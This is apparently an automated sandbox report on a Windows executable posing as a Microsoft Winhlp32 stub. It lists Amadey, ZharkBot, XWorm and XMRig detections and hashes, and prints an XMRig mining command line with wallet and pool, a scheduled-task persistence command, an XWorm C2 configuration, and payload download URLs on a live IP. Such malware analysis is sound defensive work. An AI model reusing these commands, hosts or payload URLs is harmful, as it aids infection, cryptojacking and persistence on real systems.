File name:

file.exe

Full analysis: https://app.any.run/tasks/8f910102-9810-4d5f-9ea6-2cb6eb6dcbdf
Verdict: Malicious activity
Threats:

Amadey is a formidable Windows infostealer threat, characterized by its persistence mechanisms, modular design, and ability to execute various malicious tasks.

Malware Trends Tracker     >>>
Analysis date: August 11, 2024, 00:53:41
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
amadey
botnet
stealer
loader
zharkbot
evasion
crypto-regex
xworm
miner
api-base64
pureminer
netreactor
xmrig
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

7ADFC6A2E7A5DAA59D291B6E434A59F3

SHA1:

E21EF8BE7B78912BED36121404270E5597A3FE25

SHA256:

FBB957B3E36BA1DDA0B65986117FD8555041D747810A100B47DA4A90A1DFD693

SSDEEP:

49152:ztPzEBlKUhfCrjPlydFbqzK7sEMU9jjLpOZQT6QE66zD+uk6IuAu4ntElopDZCf1:zdIlKUhCPluFbqzAfsQT63hDcb5u4ntK

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Antivirus name has been found in the command line (generic signature)

      • findstr.exe (PID: 6644)
      • findstr.exe (PID: 6752)

    • Uses Task Scheduler to run other applications

      • cmd.exe (PID: 6908)
      • kitty.exe (PID: 2132)
      • Cerker.exe (PID: 2480)

    • Create files in the Startup directory

      • cmd.exe (PID: 6964)

    • Connects to the CnC server

      • Beijing.pif (PID: 6864)
      • svchost.exe (PID: 2256)

    • AMADEY has been detected (SURICATA)

      • Beijing.pif (PID: 6864)

    • Changes the autorun value in the registry

      • kitty.exe (PID: 2132)
      • Cerker.exe (PID: 2480)
      • request.exe (PID: 7160)
      • msvcservice.exe (PID: 6600)
      • msvcservice.exe (PID: 6700)

    • ZHARKBOT has been detected (SURICATA)

      • Cerker.exe (PID: 2480)
      • svchost.exe (PID: 2256)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 6040)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 6040)

    • MINER has been detected (SURICATA)

      • svchost.exe (PID: 2256)

    • PUREMINER has been detected (YARA)

      • RegSvcs.exe (PID: 6204)

    • XWORM has been detected (YARA)

      • FRaqbC8wSA1XvpFVjCRGryWt.exe (PID: 5248)

    • Steals credentials

      • WerFault.exe (PID: 6256)

    • XMRIG has been detected (YARA)

      • AddInProcess.exe (PID: 2680)
      • AddInProcess.exe (PID: 5940)

  • SUSPICIOUS

    • Drops the executable file immediately after the start

      • file.exe (PID: 6504)
      • cmd.exe (PID: 6544)
      • Beijing.pif (PID: 6864)
      • kitty.exe (PID: 2132)
      • request.exe (PID: 7160)
      • Cerker.exe (PID: 2480)
      • IIZS2TRqf69aZbLAX3cf3edn.exe (PID: 7044)

    • Reads security settings of Internet Explorer

      • file.exe (PID: 6504)
      • Beijing.pif (PID: 6864)
      • kitty.exe (PID: 2132)
      • request.exe (PID: 7160)
      • Cerker.exe (PID: 2480)
      • msvcservice.exe (PID: 6600)
      • IIZS2TRqf69aZbLAX3cf3edn.exe (PID: 6212)
      • msvcservice.exe (PID: 6700)

    • Reads the date of Windows installation

      • file.exe (PID: 6504)
      • kitty.exe (PID: 2132)
      • Beijing.pif (PID: 6864)
      • request.exe (PID: 7160)
      • IIZS2TRqf69aZbLAX3cf3edn.exe (PID: 6212)

    • Executing commands from ".cmd" file

      • file.exe (PID: 6504)

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 6544)
      • file.exe (PID: 6504)
      • IIZS2TRqf69aZbLAX3cf3edn.exe (PID: 6212)

    • Using 'findstr.exe' to search for text patterns in files and output

      • cmd.exe (PID: 6544)

    • Get information on the list of running processes

      • cmd.exe (PID: 6544)

    • Application launched itself

      • cmd.exe (PID: 6544)

    • Drops a file with a rarely used extension (PIF)

      • cmd.exe (PID: 6544)
      • Beijing.pif (PID: 6864)

    • Executable content was dropped or overwritten

      • cmd.exe (PID: 6544)
      • Beijing.pif (PID: 6864)
      • kitty.exe (PID: 2132)
      • Cerker.exe (PID: 2480)
      • request.exe (PID: 7160)
      • IIZS2TRqf69aZbLAX3cf3edn.exe (PID: 7044)

    • Starts application with an unusual extension

      • cmd.exe (PID: 6544)
      • wscript.exe (PID: 3140)

    • The executable file from the user directory is run by the CMD process

      • Beijing.pif (PID: 6864)

    • Connects to the server without a host name

      • Beijing.pif (PID: 6864)
      • Cerker.exe (PID: 2480)

    • Process requests binary or script from the Internet

      • Beijing.pif (PID: 6864)
      • Cerker.exe (PID: 2480)

    • Contacting a server suspected of hosting an CnC

      • Beijing.pif (PID: 6864)

    • Potential Corporate Privacy Violation

      • Beijing.pif (PID: 6864)
      • Cerker.exe (PID: 2480)
      • svchost.exe (PID: 2256)

    • Reads the BIOS version

      • kitty.exe (PID: 2132)
      • Cerker.exe (PID: 2480)
      • Cerker.exe (PID: 3980)
      • Cerker.exe (PID: 5136)
      • Cerker.exe (PID: 3660)
      • Cerker.exe (PID: 5920)

    • Starts itself from another location

      • kitty.exe (PID: 2132)
      • request.exe (PID: 7160)

    • Checks Windows Trust Settings

      • Cerker.exe (PID: 2480)
      • msvcservice.exe (PID: 6600)
      • msvcservice.exe (PID: 6700)

    • Checks for external IP

      • svchost.exe (PID: 2256)
      • FRaqbC8wSA1XvpFVjCRGryWt.exe (PID: 5248)

    • Connects to unusual port

      • msvcservice.exe (PID: 6600)

    • The process executes via Task Scheduler

      • powershell.exe (PID: 6040)
      • Encoding.exe (PID: 6532)
      • Cerker.exe (PID: 3980)
      • Cerker.exe (PID: 5136)
      • Cerker.exe (PID: 5920)
      • Cerker.exe (PID: 3660)
      • wscript.exe (PID: 3140)

    • Executes application which crashes

      • FRaqbC8wSA1XvpFVjCRGryWt.exe (PID: 5248)
      • msvcservice.exe (PID: 6600)

    • Found regular expressions for crypto-addresses (YARA)

      • FRaqbC8wSA1XvpFVjCRGryWt.exe (PID: 5248)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 3140)

  • INFO

    • Reads the computer name

      • file.exe (PID: 6504)
      • Beijing.pif (PID: 6864)
      • kitty.exe (PID: 2132)
      • Cerker.exe (PID: 2480)
      • request.exe (PID: 7160)
      • msvcservice.exe (PID: 6600)
      • FRaqbC8wSA1XvpFVjCRGryWt.exe (PID: 5248)
      • IIZS2TRqf69aZbLAX3cf3edn.exe (PID: 6212)
      • IIZS2TRqf69aZbLAX3cf3edn.exe (PID: 7044)
      • Encoding.exe (PID: 6532)
      • RegSvcs.exe (PID: 6204)
      • Cerker.exe (PID: 3980)
      • Cerker.exe (PID: 5136)
      • AddInProcess.exe (PID: 2680)
      • AddInProcess.exe (PID: 5940)
      • Cerker.exe (PID: 5920)
      • Cerker.exe (PID: 3660)
      • msvcservice.exe (PID: 6700)

    • Process checks computer location settings

      • file.exe (PID: 6504)
      • Beijing.pif (PID: 6864)
      • kitty.exe (PID: 2132)
      • request.exe (PID: 7160)
      • IIZS2TRqf69aZbLAX3cf3edn.exe (PID: 6212)

    • Checks supported languages

      • file.exe (PID: 6504)
      • Beijing.pif (PID: 6864)
      • request.exe (PID: 7160)
      • Cerker.exe (PID: 2480)
      • kitty.exe (PID: 2132)
      • msvcservice.exe (PID: 6600)
      • IIZS2TRqf69aZbLAX3cf3edn.exe (PID: 6212)
      • FRaqbC8wSA1XvpFVjCRGryWt.exe (PID: 5248)
      • IIZS2TRqf69aZbLAX3cf3edn.exe (PID: 7044)
      • Encoding.exe (PID: 6532)
      • Cerker.exe (PID: 3980)
      • RegSvcs.exe (PID: 6204)
      • AddInProcess.exe (PID: 2680)
      • Cerker.exe (PID: 5136)
      • Cerker.exe (PID: 5920)
      • AddInProcess.exe (PID: 5940)
      • Cerker.exe (PID: 3660)
      • msvcservice.exe (PID: 6700)
      • MindLynx.pif (PID: 4708)

    • Create files in a temporary directory

      • file.exe (PID: 6504)
      • Beijing.pif (PID: 6864)
      • kitty.exe (PID: 2132)

    • Manual execution by a user

      • cmd.exe (PID: 6908)
      • cmd.exe (PID: 6964)
      • Taskmgr.exe (PID: 6400)
      • Taskmgr.exe (PID: 6348)
      • msvcservice.exe (PID: 6700)

    • Reads mouse settings

      • Beijing.pif (PID: 6864)
      • MindLynx.pif (PID: 4708)

    • Creates files or folders in the user directory

      • Beijing.pif (PID: 6864)
      • Cerker.exe (PID: 2480)
      • msvcservice.exe (PID: 6600)
      • IIZS2TRqf69aZbLAX3cf3edn.exe (PID: 7044)
      • WerFault.exe (PID: 3360)
      • WerFault.exe (PID: 6256)

    • Checks proxy server information

      • Beijing.pif (PID: 6864)
      • Cerker.exe (PID: 2480)
      • msvcservice.exe (PID: 6600)
      • RegSvcs.exe (PID: 6204)
      • FRaqbC8wSA1XvpFVjCRGryWt.exe (PID: 5248)
      • WerFault.exe (PID: 3360)
      • WerFault.exe (PID: 6256)
      • msvcservice.exe (PID: 6700)

    • Reads Environment values

      • Cerker.exe (PID: 2480)
      • msvcservice.exe (PID: 6600)
      • RegSvcs.exe (PID: 6204)
      • FRaqbC8wSA1XvpFVjCRGryWt.exe (PID: 5248)
      • msvcservice.exe (PID: 6700)

    • Creates files in the program directory

      • Cerker.exe (PID: 2480)

    • Reads the machine GUID from the registry

      • Cerker.exe (PID: 2480)
      • FRaqbC8wSA1XvpFVjCRGryWt.exe (PID: 5248)
      • IIZS2TRqf69aZbLAX3cf3edn.exe (PID: 6212)
      • msvcservice.exe (PID: 6600)
      • IIZS2TRqf69aZbLAX3cf3edn.exe (PID: 7044)
      • Encoding.exe (PID: 6532)
      • RegSvcs.exe (PID: 6204)
      • msvcservice.exe (PID: 6700)

    • Reads the software policy settings

      • Cerker.exe (PID: 2480)
      • msvcservice.exe (PID: 6600)
      • WerFault.exe (PID: 6256)
      • msvcservice.exe (PID: 6700)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 6040)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 6040)

    • Reads security settings of Internet Explorer

      • Taskmgr.exe (PID: 6348)

    • Disables trace logs

      • RegSvcs.exe (PID: 6204)
      • FRaqbC8wSA1XvpFVjCRGryWt.exe (PID: 5248)

    • Potential modification of remote process state (Base64 Encoded 'SetThreadContext')

      • RegSvcs.exe (PID: 6204)

    • Potential remote process memory writing (Base64 Encoded 'WriteProcessMemory')

      • RegSvcs.exe (PID: 6204)

    • Potential remote process memory interaction (Base64 Encoded 'VirtualAllocEx')

      • RegSvcs.exe (PID: 6204)

    • .NET Reactor protector has been detected

      • RegSvcs.exe (PID: 6204)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

XWorm

(PID) Process(5248) FRaqbC8wSA1XvpFVjCRGryWt.exe
C2exonic-hacks.com:1920
Keys
AES<123456789>
Options
Splitter<Xwormmm>
Sleep timeNewAged
USB drop nameUSB.exe
MutexQGOn8xsapkNWVjl5
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ (generic) (42.2)
.exe | Win64 Executable (generic) (37.3)
.dll | Win32 Dynamic Link Library (generic) (8.8)
.exe | Win32 Executable (generic) (6)
.exe | Generic Win/DOS Executable (2.7)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2012:02:24 19:20:04+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 10
CodeSize: 29696
InitializedDataSize: 491008
UninitializedDataSize: 16896
EntryPoint: 0x38af
OSVersion: 5
ImageVersion: 6
SubsystemVersion: 5
Subsystem: Windows GUI
FileVersionNumber: 10.0.22621.1
ProductVersionNumber: 10.0.22621.1
FileFlagsMask: 0x0000
FileFlags: (none)
FileOS: Windows NT 32-bit
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Unicode
CompanyName: Microsoft Corporation
FileDescription: Windows Winhlp32 Stub
FileVersion: 10.0.22621.1 (WinBuild.160101.0800)
InternalName: WINHSTB
LegalCopyright: © Microsoft Corporation. All rights reserved.
OriginalFileName: WINHLP32.EXE
ProductName: Microsoft® Windows® Operating System
ProductVersion: 10.0.22621.1
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
196
Monitored processes
49
Malicious processes
16
Suspicious processes
3

Behavior graph

Click at the process to see the details
start file.exe no specs cmd.exe conhost.exe no specs tasklist.exe no specs findstr.exe no specs tasklist.exe no specs findstr.exe no specs cmd.exe no specs findstr.exe no specs cmd.exe no specs #AMADEY beijing.pif choice.exe no specs cmd.exe no specs conhost.exe no specs cmd.exe conhost.exe no specs schtasks.exe no specs kitty.exe schtasks.exe no specs conhost.exe no specs #ZHARKBOT cerker.exe schtasks.exe no specs conhost.exe no specs request.exe msvcservice.exe THREAT fraqbc8wsa1xvpfvjcrgrywt.exe iizs2trqf69azblax3cf3edn.exe no specs #ZHARKBOT svchost.exe cmd.exe conhost.exe no specs iizs2trqf69azblax3cf3edn.exe powershell.exe no specs conhost.exe no specs taskmgr.exe no specs taskmgr.exe encoding.exe no specs cerker.exe no specs THREAT regsvcs.exe werfault.exe #XMRIG addinprocess.exe cerker.exe no specs cerker.exe no specs werfault.exe #XMRIG addinprocess.exe cerker.exe no specs wscript.exe no specs mindlynx.pif no specs rundll32.exe no specs msvcservice.exe

Process information

PID
CMD
Path
Indicators
Parent process
1060\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—schtasks.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2132"C:\Users\admin\AppData\Local\Temp\1000064001\kitty.exe" C:\Users\admin\AppData\Local\Temp\1000064001\kitty.exe
Beijing.pif
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\1000064001\kitty.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\advapi32.dll
2256C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2480"C:\Users\admin\AppData\Local\Temp\349587345342\Cerker.exe" C:\Users\admin\AppData\Local\Temp\349587345342\Cerker.exe
kitty.exe
User:
admin
Integrity Level:
MEDIUM
Modules
Images
c:\users\admin\appdata\local\temp\349587345342\cerker.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\advapi32.dll
2584C:\Windows\System32\schtasks.exe /Create /SC MINUTE /MO 1 /TN Cerker.exe /TR "C:\Users\admin\AppData\Local\Temp\349587345342\Cerker.exe" /FC:\Windows\SysWOW64\schtasks.exe—kitty.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Task Scheduler Configuration Tool
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
2680C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o stratum+ssl://xmr-eu1.nanopool.org:10343 -u 45dXYsg6JEFipo688i2DkJFNBPbGZCjXpMYLRn8TRMpsYQH37gdzKMeHPjXrvfXAbZF32ifsRRLqEKoA1zsiskRJNyJydQG.Homeserver2.Btristen52@gmail.com -p Btristen52@gmail.com --algo rx/0 --cpu-max-threads-hint=50C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
RegSvcs.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
AddInProcess.exe
Exit code:
1
Version:
4.8.9037.0 built by: NET481REL1
Modules
Images
c:\windows\microsoft.net\framework64\v4.0.30319\addinprocess.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
3140"C:\WINDOWS\system32\wscript.EXE" //B "C:\Users\admin\AppData\Local\NeuraMind Innovations\MindLynx.js"C:\Windows\System32\wscript.exe—svchost.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.812.10240.16384
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
3360C:\WINDOWS\system32\WerFault.exe -u -p 5248 -s 1828C:\Windows\System32\WerFault.exe
FRaqbC8wSA1XvpFVjCRGryWt.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Problem Reporting
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\werfault.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\oleaut32.dll
3660"C:\Users\admin\AppData\Local\Temp\349587345342\Cerker.exe"C:\Users\admin\AppData\Local\Temp\349587345342\Cerker.exe—svchost.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
4294967295
Modules
Images
c:\users\admin\appdata\local\temp\349587345342\cerker.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
c:\windows\syswow64\msvcrt.dll
3980"C:\Users\admin\AppData\Local\Temp\349587345342\Cerker.exe"C:\Users\admin\AppData\Local\Temp\349587345342\Cerker.exe—svchost.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
4294967295
Modules
Images
c:\users\admin\appdata\local\temp\349587345342\cerker.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\advapi32.dll
c:\windows\syswow64\msvcrt.dll
Total events
38 605
Read events
38 440
Write events
164
Delete events
1

Modification events

(PID) Process:(6504) file.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(6504) file.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(6504) file.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(6504) file.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(6864) Beijing.pifKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content
Operation:writeName:CachePrefix
Value:
(PID) Process:(6864) Beijing.pifKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(6864) Beijing.pifKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(6864) Beijing.pifKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(6864) Beijing.pifKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(6864) Beijing.pifKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
Executable files
11
Suspicious files
25
Text files
11
Unknown types
0

Dropped files

PID
Process
Filename
Type
6504file.exeC:\Users\admin\AppData\Local\Temp\Continuebinary
MD5:6184A8FC79D602BC18C0BADB08598580
SHA256:A8181F349864C6C9A216935894392B75D0D1430D43A255FF3A9AD56C325487E7
6504file.exeC:\Users\admin\AppData\Local\Temp\Templatebinary
MD5:0E70F873CB8F5615DD364325B714895A
SHA256:4734D4D0626E140398A788226A5985E814BBD674F4218B60A89FD2DA8F4CEB94
6504file.exeC:\Users\admin\AppData\Local\Temp\Mrbinary
MD5:0C3F23378F256B116FCA366D08DBD146
SHA256:5DEFB1B1225282E2AB46D4257416334B5344E5B0A020B4B7900436C59684DE65
6504file.exeC:\Users\admin\AppData\Local\Temp\Mobilebinary
MD5:B81B3A6C6725BE1CDD528E5FB3A9AA07
SHA256:08E8E54417A8E7007AEEDB0399F4E549FC31AAF6031416C8D30306FE350C1F84
6504file.exeC:\Users\admin\AppData\Local\Temp\Zincbinary
MD5:51143491656AE2EE983D709C45A41861
SHA256:DC4AAC8B9EB62788BD04316293CDE7E3D839E828E3E3082A2D81922CA8A94C81
6504file.exeC:\Users\admin\AppData\Local\Temp\Sonicbinary
MD5:1B5BBA21607D9A9C3293FF564ECF4F1A
SHA256:FC6BA37A8BFE546D8186E92C2F729080B00D4371EF2E8E3A18EC66ACC1CF199E
6504file.exeC:\Users\admin\AppData\Local\Temp\Correspondingatn
MD5:7EB7312237CF8653A876136046CE8B3E
SHA256:FA349D460B066E9B325DB200251AE35892353462C352728CFB0FA405C293F725
6864Beijing.pifC:\Users\admin\AppData\Local\Temp\1000064001\kitty.exeexecutable
MD5:0EC1F7CC17B6402CD2DF150E0E5E92CA
SHA256:4C5CA5701285337A96298EBF994F8BA013D290C63AFA65B5C2B05771FBBB9ED4
6544cmd.exeC:\Users\admin\AppData\Local\Temp\40365\Beijing.pifexecutable
MD5:8EB6ED88024BA4653B254A97076002BA
SHA256:600E7DD8CE8F87AD96A81961E6E9CFD8E16BD9AD4C4F0AED1B988DA3184DA7D5
6504file.exeC:\Users\admin\AppData\Local\Temp\Dietarybinary
MD5:30A3ED3849E36B4C26A02CF030EA985A
SHA256:6D86469CED96B57DB84DE11F9EAC77C8076A3BFA65942776F7CC50625FBD31CA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
16
TCP/UDP connections
40
DNS requests
19
Threats
31

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5336
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
5924
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
5924
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
6176
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
6268
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
6864
Beijing.pif
POST
200
172.67.202.34:80
http://api.garageserviceoperation.com/CoreOPT/index.php
unknown
—
—
unknown
6864
Beijing.pif
POST
200
172.67.202.34:80
http://api.garageserviceoperation.com/CoreOPT/index.php
unknown
—
—
unknown
6864
Beijing.pif
GET
200
185.215.113.16:80
http://185.215.113.16/inc/kitty.exe
unknown
—
—
malicious
6864
Beijing.pif
POST
200
172.67.202.34:80
http://api.garageserviceoperation.com/CoreOPT/index.php
unknown
—
—
unknown
6864
Beijing.pif
GET
200
185.215.113.16:80
http://185.215.113.16/inc/request.exe
unknown
—
—
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:138
—
—
—
whitelisted
4708
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3888
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
2120
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1184
RUXIMICS.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
4708
svchost.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
2120
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
5336
SearchApp.exe
2.23.209.187:443
www.bing.com
Akamai International B.V.
GB
unknown
5336
SearchApp.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
  • 51.104.136.2
whitelisted
google.com
  • 172.217.18.14
whitelisted
jSbXVBiItIINfreBHvLPHxDRe.jSbXVBiItIINfreBHvLPHxDRe
  • —
unknown
www.bing.com
  • 2.23.209.187
  • 2.23.209.182
  • 2.23.209.133
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
login.live.com
  • 40.126.32.138
  • 40.126.32.133
  • 20.190.160.20
  • 40.126.32.72
  • 20.190.160.17
  • 40.126.32.136
  • 40.126.32.76
  • 40.126.32.74
whitelisted
client.wns.windows.com
  • 40.115.3.253
whitelisted
th.bing.com
  • 2.23.209.182
  • 2.23.209.133
  • 2.23.209.187
whitelisted
fd.api.iris.microsoft.com
  • 20.31.169.57
whitelisted
arc.msn.com
  • 20.223.36.55
whitelisted

Threats

PID
Process
Class
Message
6864
Beijing.pif
Malware Command and Control Activity Detected
